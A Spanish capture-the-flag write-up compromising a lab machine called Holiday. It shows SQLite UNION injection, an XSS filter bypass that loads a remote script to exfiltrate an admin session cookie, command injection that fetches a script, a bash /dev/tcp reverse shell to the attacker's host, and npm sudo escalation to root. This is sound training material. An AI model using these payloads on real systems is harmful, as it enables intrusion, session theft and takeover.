Conocimientos
-
Inyecci贸n SQL - Sqlite3
-
Inyecci贸n XSS - Bypass Restricciones
-
NodeJS npm (Escalada de Privilegios)
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS -vvv 10.10.10.25 -oG openports
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-20 14:30 GMT
Initiating SYN Stealth Scan at 14:30
Scanning 10.10.10.25 [65535 ports]
Discovered open port 22/tcp on 10.10.10.25
Discovered open port 8000/tcp on 10.10.10.25
Completed SYN Stealth Scan at 14:30, 17.63s elapsed (65535 total ports)
Nmap scan report for 10.10.10.25
Host is up, received user-set (0.084s latency).
Scanned at 2023-01-20 14:30:23 GMT for 18s
Not shown: 60796 closed tcp ports (reset), 4737 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8000/tcp open http-alt syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 17.76 seconds
Raw packets sent: 93148 (4.099MB) | Rcvd: 72065 (2.883MB)
Escaneo de Versi贸n y Servicios
nmap -sCV -p22,8000 10.10.10.25 -oN portscan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-20 14:43 GMT
Nmap scan report for 10.10.10.25
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c3aa3dbd0e0146c96b4673f3d1bacef2 (RSA)
| 256 b567f5eb8d11e90fddf452259fb12f23 (ECDSA)
|_ 256 79e97896c5a8f4028390583fe58dfa98 (ED25519)
8000/tcp open http Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.41 seconds
La versi贸n de SSH es vulnerable a enumeraci贸n de usuarios, pero de momento no tiene sentido aplicar fuerza bruta
Puerto 8000 (HTTP)
Con whatweb miro las tecnolog铆as que se est谩n empleando
whatweb http://10.10.10.25:8000
http://10.10.10.25:8000 [404 Not Found] Country[RESERVED][ZZ], HTML5, IP[10.10.10.25], Title[Error], UncommonHeaders[content-security-policy,x-content-type-options], X-Powered-By[Express]
El contenido de la web es el siguiente:
Aplicando fuzzing, trato de descubrir rutas en el servidor web
gobuster dir -u http://10.10.10.25:8000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x html,php,txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.25:8000
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.4
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
2023/01/20 15:06:13 Starting gobuster in directory enumeration mode
===============================================================
Progress: 115574 / 882188 (13.10%)^C
[!] Keyboard interrupt detected, terminating.
===============================================================
2023/01/20 15:07:27 Finished
===============================================================
Como no encuentro nada, cancelo la operaci贸n y examino los archivos javascript del c贸digo fuente
La raz贸n por la que no encontraba rutas se encuentra en el siguiente error, el cual devuelve el c贸digo de estado 404, aun existiendo la ruta
Desde BurpSuite, intercepto la petici贸n tramitada antes con el navegador para poder ver as铆 como se tramita
Copio el campo del User Agent y se lo incorporo al Gobuster
gobuster dir -u http://10.10.10.25:8000 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -a "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.25:8000
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
[+] Timeout: 10s
===============================================================
2023/01/20 15:32:24 Starting gobuster in directory enumeration mode
===============================================================
/img (Status: 301) [Size: 165] [--> /img/]
/login (Status: 200) [Size: 1171]
/admin (Status: 302) [Size: 28] [--> /login]
/css (Status: 301) [Size: 165] [--> /css/]
/js (Status: 301) [Size: 163] [--> /js/]
/Login (Status: 200) [Size: 1171]
/logout (Status: 302) [Size: 28] [--> /login]
/agent (Status: 302) [Size: 28] [--> /login]
/Admin (Status: 302) [Size: 28] [--> /login]
/Logout (Status: 302) [Size: 28] [--> /login]
/LogIn (Status: 200) [Size: 1171]
/Agent (Status: 302) [Size: 28] [--> /login]
/LOGIN (Status: 200) [Size: 1171]
Progress: 220299 / 220547 (99.89%)
===============================================================
2023/01/20 15:35:48 Finished
===============================================================
Al introducir la ruta /admin, me redirige a /login
Intercepto la petici贸n y la env铆o al Repeater de BurpSuite
Inyecci贸n SQL
Probando inyecciones SQL t铆picas no encuentro nada
Sin embargo, si inserto una comilla doble aparece un error
Si a帽ado dos par茅ntesis y comento el resto de la query, el error desaparece
Eso me hace pensar que est谩 por detr谩s una sentencia en SQL con la siguiente estructura:
select user from users where ((username="admin"))
Columnas
A la hora de enumerar las columnas, cuando el error no aparece es porque es el n煤mero correcto
El n煤mero total es 4
Tras aplicar un ordenamiento, el n煤mero 2 se filtra en la respuesta
Reconocimiento de la base de datos
Al tratar de ver la versi贸n que se est谩 utilizando no aparece nada
Escribi茅ndolo de otra manera pasa lo mismo
Probando varios tipos de inyecciones, llegu茅 a uno en el que cambi贸 la respuesta, Sqlite
En PayloadAllTheThings est谩 detallada la enumeraci贸n para estas bases de datos
Tablas
El campo que estoy utilizando para leakear la informaci贸n solo admite una palabra. Para poder listar todo lo que me interesa de una sola vez separado por comas, puedo agregar un group_concat()
admin")) union select 1,group_concat(tbl_name),3,4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'-- -
Para ver las columnas existentes para la tabla users, introduzco la siguiente query
admin")) union select 1,group_concat(sql),3,4 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'-- -
Se puede ver en la respuesta una query que corresponde a cuando se cre贸 la tabla
Obtengo un usuario y una contrase帽a en md5
admin")) union select 1,group_concat(username),3,4 FROM users-- -
admin")) union select 1,group_concat(password),3,4 FROM users-- -
Almaceno el usuario y el hash en un fichero temporal para tratar de romperlo por fuerza bruta con john
echo 'RickA:fdc8cd4cff2c19e0d1022e78481ddf36' > hash
John no encuentra la contrase帽a, por lo que introduzco el hash en crackstation.net que tiene un diccionario de claves precomputadas (Rainbow Tables), de mayor tama帽o que el rockyou.txt
Ahora s铆 obtengo la contrase帽a
La almaceno en un fichero de credenciales y pruebo a reutilizarlas por ssh
echo 'RickA:nevergonnagiveyouup' > credentials.txt
ssh RickA@10.10.10.25
The authenticity of host '10.10.10.25 (10.10.10.25)' can't be established.
ED25519 key fingerprint is SHA256:LMh2JHKU/nZKj6JBIkGvERhMpzV66qvN7dqVbQmEpuc.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.25' (ED25519) to the list of known hosts.
RickA@10.10.10.25's password:
Permission denied, please try again.
RickA@10.10.10.25's password:
No se reutiliza, as铆 que voy al /login del principio para autenticarme como ese usuario
Tras iniciar sesi贸n aparece el siguiente contenido
Dentro de cada campo, hay una secci贸n de notas, y en la parte inferior un comentario (T铆pico CTF) en el que avisan de que la informaci贸n que se env铆e ser谩 revisada por un administrador.
Esto me hace pensar en una inyecci贸n XSS y tratar de secuestrar su cookie de sesi贸n para poder autenticarme en la web como un usuario con m谩s privilegios
Ahora tratar铆a de cargar una imagen o un script que est茅 hosteado de mi lado para ver si me llega la petici贸n al netcat que est谩 en escucha por el puerto 80 para la imagen y por el puerto 1 para el script
Y recibo la petici贸n a la imagen
nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.25.
Ncat: Connection from 10.10.10.25:46068.
GET /test.jpg HTTP/1.1
Referer: http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 10.10.16.6
Pero para el script no me llega nada
nc -nlvp 81
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::81
Ncat: Listening on 0.0.0.0:81
Volviendo a la Web, se puede ver como para el campo de script, est谩 empleando alguna sanitizaci贸n que mediante el uso de expresiones regulares est谩 modificando el contenido que le he pasado como input para transformarlo y que de esa manera no sea capaz de interpretarlo
Tengo que encontrar una forma de burlar las regex para que quite lo que me interesa y queden todas las etiquetas cerradas para que se interprete
Para ello, primero hay que entender lo que est谩n haciendo. En el campo img, las doble comillas las elimina directamente, pero lo que le paso como string queda igual, de tal forma que si dentro de esa etiqueta introduzco una de script, habr铆a bypasseado las restricciones e inyectado lo que me interesa. La etiqueta img no hace falta cerrarla porque va a dar error de la misma manera.
<img src="asd><script>alert(1)</script>">
Tras enviarlo, queda de la siguiente manera:
Otra cosa a tener en cuenta es que de mi lado no me est谩 interpretando las etiquetas, pero por la parte de administrador s铆. A la hora de comprobar si esto 煤ltimo ha funcionado no vale desde mi interfaz web, por lo que tengo que cargar un script remoto y ponerme en escucha con netcat.
Para indicar que quiero enviar la cookie como un argumento para un par谩metro por GET, lo puedo hacer de la siguiente forma:
<img src="asd><script>document.location("http://10.10.16.6/?cookie=' + document.cookie + '</script>">
De nuevo, mi input se ha sanitizado y ha transformado ciertos caracteres. Esto puede ser debido a que ha detectado la string document.location y se ha salido de la condici贸n de la imagen
Puedo probar otra alternativa que ser铆a cargar un script alojado de mi lado que se encargue de enviarme la cookie de sesi贸n
En vez de utilizar document.location, utilizar茅 document.write
<img src="asd><script>document.write('<script src="http://10.10.16.6/pwned.js"></script>');</script>">
Sigo con el mismo problema
En JavaScript, existe una forma de extraer caracteres a partir de funciones ya definidas
De toda la secuencia que daba problemas para ser interpretada, la expreso en decimal con python
Python 3.10.9 (main, Dec 7 2022, 13:47:07) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> cadena = """document.write('<script src="http://10.10.16.6/pwned.js"></script>');"""
>>> for character in cadena:
... print(ord(character))
El nuevo payload ser铆a el siguiente
<img src="asd><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,54,46,54,47,112,119,110,101,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59));</script>">
Ahora si me pongo en escucha con netcat si que recibo la petici贸n pero esta vez no a trav茅s de la etiqueta img si no la script
nc -nlvp 80
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from 10.10.10.25.
Ncat: Connection from 10.10.10.25:49258.
GET /pwned.js HTTP/1.1
Accept: */*
Referer: http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 10.10.16.6
Est谩 buscando el script pwned.js as铆 que voy a crearlo
Si quiero ver mi cookie de sesi贸n desde una consola interactiva de javascript en la p谩gina web, no me la reporta, por lo que tengo que encontrar una forma alternativa de extraerla. En ocasiones, existe un campo oculto en el c贸digo fuente.
El contenido de pwned.js ser铆a el siguiente
var peticion = new XMLHttpRequest();
peticion.open('GET', 'http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65', false);
peticion.send();
var respuesta = peticion.responseText;
var peticion2 = new XMLHttpRequest();
peticion2.open('POST', 'http://10.10.16.6:81/codigofuente', true);
peticion2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var respuestacoded = encodeURIComponent(respuesta);
peticion2.send(respuestacoded);
La idea es que que el administrador se tramite una petici贸n a s铆 mismo para poder tener el c贸digo fuente almacenado en una variable, y posteriormente enviarme la data por POST en formato url-encode a mi equipo por otro puerto en el que voy a estar en escucha con netcat.
Por un lado recibo la petici贸n por GET a mi servicio HTTP en python
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - [20/Jan/2023 18:09:48] "GET /pwned.js HTTP/1.1" 200 -
Y la data por POST en el puerto 81
nc -nlvp 81
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::81
Ncat: Listening on 0.0.0.0:81
Ncat: Connection from 10.10.10.25.
Ncat: Connection from 10.10.10.25:43044.
POST /codigofuente HTTP/1.1
Referer: http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
Origin: http://localhost:8000
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 25116
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 10.10.16.6:81
No pongo los datos porque es mucho texto
Ahora si aplico un url-decode y lo almaceno en un archivo, tendr茅 exactamente la misma p谩gina que el usuario Administrador
Efectivamente, en el c贸digo fuente hay una etiqueta oculta con la cookie del usuario administrador
<input type="hidden" name="cookie" value="connect.sid=s%3A9fa78360-98ed-11ed-acb1-f148c6fda646.8wGLR4jXSJPq47VB2dINcX2oFYJ2AcGush%2Fozi2dr2w">
Hago un Cookie Hijacking y cambio la cookie de mi usuario por la del administrador
Ahora me aparece otro campo
Y puedo entrar en la ruta /admin que antes no ten铆a acceso
Puedo descargar dos archivos pero no lleva a ning煤n lado
Al hacer hovering, se puede ver que apunta a un recurso que ya hab铆a visto anteriormente
Concretamente:
<input type="user" id="username" name="username" class="form-control" placeholder="Username" required autofocus value="users,notes,bookings,sessions">
Intercepto la petici贸n con BurpSuite, modifico la referencia y efectivamente est谩n relacionados
Si introduzco una comilla, aparece el siguiente error
Como el & est谩 entre los caracteres permitidos, le puedo concatenar otro par谩metro, para saber cual, aplico fuzzing. Tengo que arrastrar la cabezera de la cookie de sesi贸n y, por si acaso, el User Agent
wfuzz -c --hc=500 --hh=13155 -t 200 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Cookie: connect.sid=s%3A9fa78360-98ed-11ed-acb1-f148c6fda646.8wGLR4jXSJPq47VB2dINcX2oFYJ2AcGush%2Fozi2dr2w" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" "http://10.10.10.25:8000/admin/export?table=bookings%26FUZZ"
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.25:8000/admin/export?table=bookings%26FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000116: 200 101 L 285 W 13189 Ch "jobs"
000000181: 200 0 L 0 W 0 Ch "in"
000000071: 200 285 L 1454 W 24241 Ch "info"
000000202: 200 101 L 290 W 13230 Ch "dir"
000000496: 200 102 L 300 W 13285 Ch "w"
000000508: 200 101 L 283 W 13164 Ch "groups"
000000460: 200 103 L 299 W 13359 Ch "free"
000000515: 200 101 L 285 W 13215 Ch "id"
000000583: 200 524 L 3274 W 51335 Ch "ss"
000000764: 200 101 L 288 W 13184 Ch "date"
000000761: 200 3989 L 4172 W 181091 Ch "find"
000000847: 200 100 L 282 W 13155 Ch "life"
Todo lo que reporta son comandos de linux, as铆 que tengo ejecuci贸n remota de comandos
curl -H "Cookie: connect.sid=s%3A9fa78360-98ed-11ed-acb1-f148c6fda646.8wGLR4jXSJPq47VB2dINcX2oFYJ2AcGush%2Fozi2dr2w" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" 'http://10.10.10.25:8000/admin/export?table=%26whoami'
algernon
El problema para entablarte una reverse shell es que muchos caracteres no los permite por la regex que vi antes
Si represento mi IP en hexadecimal si recivo una petici贸n por wget
curl -H "Cookie: connect.sid=s%3A9fa78360-98ed-11ed-acb1-f148c6fda646.8wGLR4jXSJPq47VB2dINcX2oFYJ2AcGush%2Fozi2dr2w" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" 'http://10.10.10.25:8000/admin/export?table=%26wget%200x0a0a1006'
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - [20/Jan/2023 18:54:58] "GET / HTTP/1.1" 200 -
Por tanto, me creo un archivo revshell que sea un script en bash que me entable la reverse shell
#!/bin/bash
bash -i >& /dev/tcp/10.10.16.6/443 0>&1
Descargo y ejecuto el archivo
curl -H "Cookie: connect.sid=s%3A9fa78360-98ed-11ed-acb1-f148c6fda646.8wGLR4jXSJPq47VB2dINcX2oFYJ2AcGush%2Fozi2dr2w" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" 'http://10.10.10.25:8000/admin/export?table=%26wget%200x0a0a1006/revshell'
curl -H "Cookie: connect.sid=s%3A9fa78360-98ed-11ed-acb1-f148c6fda646.8wGLR4jXSJPq47VB2dINcX2oFYJ2AcGush%2Fozi2dr2w" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0" 'http://10.10.10.25:8000/admin/export?table=%26bash%20revshell'
Y obtengo la reverse shell
nc -nlvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.25.
Ncat: Connection from 10.10.10.25:50180.
bash: cannot set terminal process group (1142): Inappropriate ioctl for device
bash: no job control in this shell
algernon@holiday:~/app$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
algernon@holiday:~/app$ export TERM=xterm
export TERM=xterm
algernon@holiday:~/app$ export SHELL=bash
export SHELL=bash
algernon@holiday:~/app$ stty rows 56 columns 209
Abro la primera flag
algernon@holiday:~$ cat /home/algernon/user.txt
50ff28cb99b4006c47eac8dd92b94257
Escalada
Al ver los privilegios a nivel de sudoers, puedo ver que puedo ejecutar un comando como el usuario que quiera
algernon@holiday:~$ sudo -l
Matching Defaults entries for algernon on holiday:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User algernon may run the following commands on holiday:
(ALL) NOPASSWD: /usr/bin/npm i *
En GTFObins explican el vector de escalada
algernon@holiday:~$ TF=$(mktemp -d)
algernon@holiday:~$ echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
algernon@holiday:~$ sudo npm i -C $TF --unsafe-perm
> undefined preinstall /tmp/tmp.UqBOIEqysi
> /bin/sh
# whoami
root
Y puedo visualizar la segunda flag
# cat /root/root.txt
41af8b2efde3eeb16e2e294484b5ce84